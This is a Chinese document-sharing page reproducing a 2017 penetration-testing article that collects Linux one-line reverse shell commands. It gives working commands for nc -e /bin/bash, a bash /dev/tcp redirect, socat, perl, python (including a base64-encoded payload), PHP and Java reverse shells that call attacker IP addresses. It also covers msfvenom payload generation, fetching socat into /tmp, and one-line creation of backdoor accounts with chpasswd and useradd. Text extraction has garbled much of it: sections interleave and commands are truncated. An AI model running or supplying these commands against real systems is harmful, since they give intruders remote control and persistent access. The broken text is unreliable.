




版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)
文檔簡介
1、linux各種一句話反彈shell總結(jié) 作者:未知原文鏈接:/learning/detail/4551.html 收集整理:/test/index.php本文由 干貨1【技術(shù)分享】linux各種一句話反彈shell總結(jié)閱讀量 549311|評論 2 稿費(fèi) 300發(fā)布時間:2017-10-16 17:47:56作者:myles007預(yù)估稿費(fèi):300RMB投稿方式:發(fā)送郵件至linwei##,或登陸網(wǎng)頁版在線投稿 簡介我們在滲透測試的過程中經(jīng)常會遇到linux主機(jī)環(huán)境,而在獲取linux主機(jī)shell是我們經(jīng)常需要做
2、的是工作內(nèi)容之一,其中經(jīng)常會遇到以下幾個場景。 一、場景一我們已經(jīng)拿下主機(jī)的一個webshell,我們想獲取一個可以直接操作主機(jī)的虛擬終端,此時我們首先想到的是開啟一個shell,這種場景比較簡單,我們直接使用使用nc即可開啟,如果沒有nc我們也可以很輕松的 直接下載安裝一個,具體開啟的命令如下。 1.1 安裝netcat這里需要注意一點(diǎn)默認(rèn)的各個linux發(fā)行版本已經(jīng)自帶了netcat工具包,但是可能由于處于安全考慮原生版本的netcat帶有可以直接發(fā)布與反彈本地shell的功能參數(shù) -e這里都被制安裝包,自己動手豐衣足食了,具體過程如下。 了,所以我們需要手動下載二進(jìn) 原生版本netcat
3、鏈接:/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz2# 第一步:下載二進(jìn)制netc安裝包 roothome-pc# wget /project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz # 第二步:解壓安裝包 3roothome-pc# tar -xvzf netcat-0.7.1.tar.gz# 第三步:編譯安裝roothome-pc# ./configure roothome-pc#
4、 make roothome-pc# make install roothome-pc# make clean# 具體編譯安裝過程可以直接參見INSTALL安裝說明文件內(nèi)容. # 第四步:在當(dāng)前目錄下運(yùn)行nc幫助 roothome-pc:/tmp/netcat-0.7.1# nc -hGNU netcat 0.7.1, a rewrite of the famous networking tool. Basic usages:connect to somewhere: nc options hostname port port .listen for inbound:nc -l -p port
5、 options hostname port . tunnel to somewhere:nc -L hostname:port -p port optionsMandatory arguments to long options are mandatory for short options too. Options:-c, -closeclose connection on EOF from stdin-e, -exec=PROGRAMprogram to exec after connect-g, -gateway=LISTsource-routing hop points, up to
6、 8-G, -pointer=NUMsource-routing pointer: 4, 8, 12, .-h, -helpdisplay this help and exit-i, -interval=SECSdelay interval for lines sent, ports scanned-l, -listenlisten mode, for inbound connects-L, -tunnel=ADDRESS:PORT forward local port to remote address-n, -dont-resolvenumeric-only IP addresses, n
7、o DNS-o, -output=FILEoutput hexdump traffic to FILE (implies -x)-p, -local-port=NUMlocal port number-r, -randomizerandomize local and remote ports-s, -source=ADDRESSlocal source address (ip or hostname)-t, -tcpTCP mode (default)至此我們已經(jīng)安裝完成原生版本的 netcat工具,有了netcat -e參數(shù),我們就可以將本地bash完整發(fā)布到外網(wǎng)了。 1.2 開啟本地1.3
8、 直接連接目標(biāo)主機(jī)二、場景二4rootkali:# nc 1 8080whoami rootw22:57:36 up 1:24, 0 users, load average: 0.52, 0.58, 0.59USERTTYFROMLOGINIDLEJCPUPCPU WHA# 開啟本地8080端口,并將本地的bash發(fā)布出去。 root# nc -lvvp 8080 -t -e /bin/bash-T, -telnetanswer using TELNET negotiation-u, -udpUDP mode-v, -verboseverbose (use twice
9、to be more verbose)-V, -versionoutput version information and exit-x, -hexdumphexdump incoming and outgoing traffic-w, -wait=SECStimeout for connects and final net reads-z, -zerozero-I/O mode (used for scanning)Remote port number can also be specified as range. Example: 1-1024目標(biāo)主機(jī)為一個內(nèi)網(wǎng)主機(jī),并沒有公網(wǎng)IP地址,我
10、們無法從外網(wǎng)發(fā)起對目標(biāo)主機(jī)的遠(yuǎn)程連接,此時我們使用的方法是使用獲取的webshell主動發(fā)起一個反彈的shell到外網(wǎng),然后獲取一個目標(biāo)主機(jī)的shell終端控制 環(huán)境,而有關(guān)shell反彈的方法有很多這里簡單介紹幾種比較常見的方法。 2.1 bash 直接反彈bash一句話shell反彈:個人感覺最好用的用的方法就是使用的方法就是使用bash結(jié)合重定向方法的一句話,具體命令如下。 (1) bash反彈一句話(2)bash一句話命令詳解 以下針對常用的bash反彈一句話進(jìn)行了拆分說明,具體內(nèi)容如下。 其實(shí)以上bash反彈一句完整的解讀過程就是: bash產(chǎn)生了一個交互環(huán)境與本地主機(jī)主動發(fā)起與目標(biāo)
11、主機(jī)8080端口建立的連接(即TCP 8080 會話連接)相結(jié)合,然后在重定向個tcp 8080會話連接,最后將用戶鍵盤輸入與用戶標(biāo)準(zhǔn)輸出相結(jié)合再次重定向給一 個標(biāo)準(zhǔn)的輸出,即得到一個bash 反彈環(huán)境。 2.2 netcat 工具反彈Netcat 一句話反彈:Netcat反彈也是非常常用的方法,只是這個方法需要我們手動去安裝一個NC環(huán)境,前面已經(jīng)介紹默認(rèn)的linux發(fā)型版現(xiàn)在自帶的NC都是被的bash一句話反彈顯得就繁瑣很多,同時通過實(shí)際測試發(fā)現(xiàn)NC反彈的shell交互性也差很多,后面會具體說道,這里就不多說了。 ( 1)開啟外網(wǎng)主機(jī)過來,無法反彈一個bash給遠(yuǎn)端,所以相對上面 (2) n
12、etcat安裝5rootkali:# nc -lvvp 8080listening on any 8080 .root# bash -i & /dev/tcp/1/8080 0&1有關(guān)netcat的原生二進(jìn)制安裝包的編譯安裝內(nèi)容請參考場景一中的具體說明; ( 3)netcat 反彈一句話( 4) shell反彈成功此時我們再回到外網(wǎng)主機(jī),我們會發(fā)現(xiàn)tcp 8080已經(jīng)接收到遠(yuǎn)端主機(jī)發(fā)起的連接,并成功獲取shell虛擬終端控制環(huán)境。 2.3socat反彈一句話Socat是Linux 下一個多功能的網(wǎng)絡(luò)工具,名字來由是” Socket CAT”,因此可以看出它基于socke
13、t,能夠折騰socket相關(guān)的無數(shù)事情 ,其功能與netcat類似,不過據(jù)說可以看做netcat的加強(qiáng)版,事實(shí)上的確也是如 此,nc應(yīng)急比較久沒人維護(hù)了,確實(shí)顯得有些陳舊了,我這里只簡單的介紹下怎么使用它開啟和反彈shell,其他詳細(xì)內(nèi)容可以參加見文末的參考學(xué)習(xí)。 有關(guān)socat二進(jìn)制可執(zhí)行文件,大家可以到這個鏈接下載:/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat( 1) 攻擊機(jī)上開啟( 2) 靶機(jī)上運(yùn)行socat反彈shell(3) shell反彈成功6# /tmp/soca
14、t exec:bash -li,pty,stderr,setsid,sigint,sane tcp:74:12345# socat TCP-LISTEN:12345 - # nc 74 8080 -t -e /bin/bash# 命令詳解:通過webshell我們可以使用nc命令直接建立一個tcp 8080 的會話連接,然后將本地的bash通過這個會話連接反彈給目標(biāo)主機(jī)(74)。 2.4 其他腳本一句話shell反彈以下腳本反彈一句話的使用方法都是一樣的,只要在攻擊機(jī)在本地開啟 TCP 8080上要有響應(yīng)的腳本解析環(huán)境支持
15、,才可以使用,相信這點(diǎn)大家肯定都是明白的)。 ,然后在遠(yuǎn)端靶機(jī)上運(yùn)行以下任意一種腳本語句,即可把靶機(jī)的bash反彈給攻擊主機(jī)的8080端口(當(dāng)然前提條件是目標(biāo)主機(jī) 2.4.1 python腳本反彈2.4.2 php 腳本反彈2.4.3 Java 腳本反彈2.4.4 perl 腳本反彈2.5 msfvenom 獲取反彈一句話學(xué)習(xí)過程中發(fā)現(xiàn)其實(shí)強(qiáng)大的MSF框架也為我們提供了生成一句話反彈shell的工具,即msfvenom。絕對的實(shí)用,當(dāng)我們不記得前面說的所有反彈shell的反彈語句時,只要我們有Metasploit,隨時我們都可以使用 msfvenom -l 來查詢生成我們所需要的各類命令行一句
16、話,具體使用方法為各位看官老爺們收集如下。 7perl -e use Socket;$i=1;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp);if(connect(S,sockaddr_in($p,inet_aton($i)open(STDIN,&S);open(STDOUT,&S);oppython -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(192.168.31.
17、41,8080);os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.filr = Runtime.getRuntime()p = r.exec(/bin/bash,-c,exec 5/dev/tcp/1/8080;cat &5 &5; done as String) p.waitFor()php -r $sock=fsockopen(1,8080);exec(/bin/sh -i &3 2&3);2.5.1查詢 payload 具體路徑我們直接可以使用 msfvenom -l 結(jié)合關(guān)鍵
18、字過濾(如cmd/unix/reverse),找出我們需要的各類反彈一句話payload的路徑信息。查看以上截圖,我們可以看到msfvenom支持生成反彈shell一句話的類型非常豐富,這里幾乎是應(yīng)有盡有,大家可以依據(jù)滲透測試對象自行選擇使用。 2.5.2 生成我們我們需要的命令行一句話依照前面查找出的命令生成一句話payload路徑,我們使用如下的命令生成反彈一句話,然后復(fù)制粘貼到靶機(jī)上運(yùn)行即可。 bash 反彈一句話生成版nc反彈一句話生成2.5.3 msfvenom 使用實(shí)例(1) 開啟攻擊機(jī)在攻擊機(jī)上開啟本地 TCP 12345 端口,準(zhǔn)備機(jī)上的會話反彈,查看如下截圖可以看到本地TCP
19、 12345 端口已經(jīng)開啟。 (2) 獲取python一句話我們此時可以借助于MSF框架平臺的msfvenom 工具自動生成一個python 反彈一句話,具體操作請參加如下截圖。(當(dāng)然這里的前提條件是靶機(jī)上安裝有python環(huán)境,現(xiàn)在默認(rèn)一般的linux發(fā)行版默認(rèn)都安裝有 8# rootkali:# msfvenom -p cmd/unix/reverse_netcat lhost= lport=12345 R# rootkali:# msfvenom -p cmd/unix/reverse_bash lhost= lport=12345 R# msfvenom -
20、l payloads cmd/unix/reversepython環(huán)境。)(3) 靶機(jī)上運(yùn)行python一句話直接將上面msfvenon 生成的 python 一句話復(fù)制到靶機(jī)webshell上運(yùn)行即可,我這里為演示方便,直接貼了一張使用kali做為靶機(jī)運(yùn)行的截圖。 (4) 攻擊接受反彈情況 三、場景三場景三其實(shí)應(yīng)該是在使用shell環(huán)境獲取的過程中遇到的問題孕育出來的,大家如果經(jīng)常使用前各種方法進(jìn)行虛擬終端環(huán)境獲取的話,會發(fā)現(xiàn)存在一個問題,就是我們即使獲取了目標(biāo)虛擬終端控制權(quán)限,但是往往 會發(fā)現(xiàn)交互性非常的差,就是發(fā)現(xiàn)這個虛擬回顯信息與可交互性非常的差和不穩(wěn)定,具體見情況有以下幾個種。 問題
21、1: 獲取的虛擬終端沒有交互性,我們想給添加的賬號設(shè)置,無法完成。 問題2:標(biāo)準(zhǔn)的錯誤輸出無法顯示,無法正常使用vim等文本編輯器等; 問題3: 獲取的目標(biāo)主機(jī)的虛擬終端使用非常不穩(wěn)定,很容易斷開連接。 針對以上問題個人學(xué)習(xí)和總結(jié)了以下的應(yīng)對方法,請大家參考交流。 3.1 一句話添加賬號你不是不給我提供交互的界面嗎,那我就是使用腳本式的方法,使用一句話完成賬號的添加,有關(guān)一句話賬號的添加,筆者收集了以下幾種方式。 3.1.1 chpasswd 方法( 1)執(zhí)行語句9python -c exec(aW1wb3J0IHNvY2tldCAgICAgICAgLCBzdWJwcm9jZXNzICAgIC
22、AgICAsIG9zICAgICAgICA7ICBob3N0PSIxOTIuMTY4LjMxLjIwMCIgICAgICAgIDsgIHBvcnQ9MTIzNDUgICAgICAgIDsgIHM9c29ja2V0LnNvY2tldC( 2)操作實(shí)例3.1.2 useradd -p 方法(1) 執(zhí)行語句(2) 操作實(shí)例10useradd -p encrypted_password newuserrootifly-21171:# useradd guest;echo guest:123456|chpasswdrootifly-21171:# vim /etc/shadowsshd:*:17255:
23、0:99999:7:pollinate:*:17255:0:99999:7:postgres:*:17390:0:99999:7: guest:$6$H0a/Nx.w$c2549uqXOULY4KvfCK6pTJQahhW7fuYYyHlo8HpnBxnUMtbXEbhgvFywwyPo5UsCbSUAMVvW9a7PsJB12TXPn.:17425:0:99999:7:useradd newuser;echo newuser:password|chpasswd( 3) 相同方法其他實(shí)現(xiàn)相同方法不同實(shí)現(xiàn)一 相同方法不同實(shí)現(xiàn)二 3.1.3 echo -e方法(1)執(zhí)行語句(2) 操作實(shí)例11us
24、eradd newuwer;echo -e 123456n123456n |passwd newuseruser_password=openssl passwd 123456 useradd -p $user_password guestrootifly-21171:# useradd -p $(openssl passwd 123456) guestrootifly-21171:#rootifly-21171:# useradd -p openssl passwd 123456 guest rootifly-21171:# vim /etc/shadow sshd:*:17255:0:999
25、99:7:pollinate:*:17255:0:99999:7: postgres:*:17390:0:99999:7: guest:h8S5msqJLVTfo:17425:0:99999:7:3.2 python標(biāo)準(zhǔn)虛擬終端獲取我們通過各種方式獲取的shell經(jīng)常不穩(wěn)定或者沒有交互界面的原因,往往都是因?yàn)槲覀儷@取的shell不是標(biāo)準(zhǔn)的虛擬終端,此時我們其實(shí)可以借助于python來獲取一個標(biāo)準(zhǔn)的虛擬終端環(huán)境。python在現(xiàn)在一般發(fā) 行版Linux系統(tǒng)中都會自帶,所以使用起來也較為方便,即使沒有安裝,我們手動安裝也很方便。 3.2.1 python 一句話獲取標(biāo)準(zhǔn)shell使用python
26、一句話獲取標(biāo)準(zhǔn)shell的具體命令如下: 命令詳解:python 默認(rèn)就包含有一個pty的標(biāo)準(zhǔn)庫。 3.2.2 實(shí)例演示具體(1)開啟;(2)反彈shell;(3)會話建立的過程這里不在重復(fù)演示了,這里直接貼出筆者獲取到反彈shell后的問題后,如何通過python獲取標(biāo)準(zhǔn)shell的過程截圖展現(xiàn)如下。 雖然到目前為止寫的虛擬終端并沒有原生終端那樣好,但是花點(diǎn)時間去折騰然后不斷的去完善.相信會做的更好. 大家可能在滲透測試的時候會發(fā)現(xiàn)有些時候系統(tǒng)的命令終端是不允許直接訪問的,那么這個時候用 Python虛擬化一個終端相信會讓你眼前一亮.12# python -c import pty;pty.
27、spawn(/bin/bash)rootifly-21171:# useradd test;echo -e 123456n123456n |passwd testEnter new UNIX password: Retype new UNIX password: passwd: password updated successfully rootifly-21171:# vim /etc/shadowsshd:*:17255:0:99999:7:pollinate:*:17255:0:99999:7:postgres:*:17390:0:99999:7:guest:h/UnnFIjqKogw:
28、17425:0:99999:7: test:$6$rEjvwAb2$nJuZ1MDt0iKbW9nigp8g54ageiKBDuoLObLd1kWUC2FmLS0xCFFZmU4dzRtX/i2Ypm9uY6oKrSa9gzQ6qykzW1:17425:0:99999:7:四、寫在最后最后將上面學(xué)習(xí)的內(nèi)容做一下小結(jié),以方便日后可以直接復(fù)制粘貼使用,筆者貼心不,你就說貼心補(bǔ)貼(ou tu bu zhi ) 4.1 nc開啟本地發(fā)布bash服務(wù)4.2 常用反彈shell一句話(1) bash反彈一句話(2) nc 反彈一句話(3) socat 反彈一句話4.3 利用msfvenom獲取反彈一句話(
29、1) 查詢 reverse payload 反彈路徑13# wget -q /andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat# 第一步:下載socat到/tmp目錄下 # chmod 755 /tmp/socat# 第二步:給socaat授予可以執(zhí)行權(quán)限 # /tmp/socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:1:12345# 第三步:反彈shell到目標(biāo)主機(jī)的12345端口 # nc 23 123
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 精英團(tuán)隊(duì)廠房設(shè)施養(yǎng)護(hù)與維護(hù)服務(wù)協(xié)議
- 餐廳資產(chǎn)重組與股份購買及經(jīng)營管理權(quán)交接合同
- 老兵短線技術(shù)課件
- 美術(shù)說課課件教學(xué)
- 瓷器考試題及答案
- 消防安全工作考評與獎懲制度
- 特種設(shè)備的安全操作規(guī)程
- 班組崗位安全生產(chǎn)責(zé)任制
- 火災(zāi)隱患排查整治總結(jié)
- 礦山安全生產(chǎn)責(zé)任制
- DB15-T 3585-2024 高標(biāo)準(zhǔn)農(nóng)田施工質(zhì)量評定規(guī)程
- 電氣設(shè)備-核電行業(yè)研究框架:成長性與穩(wěn)定性兼?zhèn)淇春煤穗娭虚L期價值
- 住房廚衛(wèi)煙氣集中排放系統(tǒng)施工與質(zhì)量驗(yàn)收規(guī)程
- 企業(yè)深度工作培訓(xùn)
- 杭州浙江杭州市森林和野生動物保護(hù)服務(wù)中心招聘編外聘用人員筆試歷年典型考題及考點(diǎn)附答案解析
- 超聲診斷設(shè)備行業(yè)營銷策略方案
- 質(zhì)量環(huán)境職業(yè)健康安全管理體系三合一整合全套體系文件(管理手冊+程序文件)
- 廣東省茂名市直屬學(xué)校2023-2024學(xué)年七年級下學(xué)期期末數(shù)學(xué)試題
- QBT 102T-2023 甜菜糖廠設(shè)計(jì)規(guī)范 (正式版)
- 舌系帶短縮治療指南制定與更新
- 2025屆湖南省長郡中學(xué)、雅禮中學(xué)等四校高一物理第二學(xué)期期末經(jīng)典試題含解析
評論
0/150
提交評論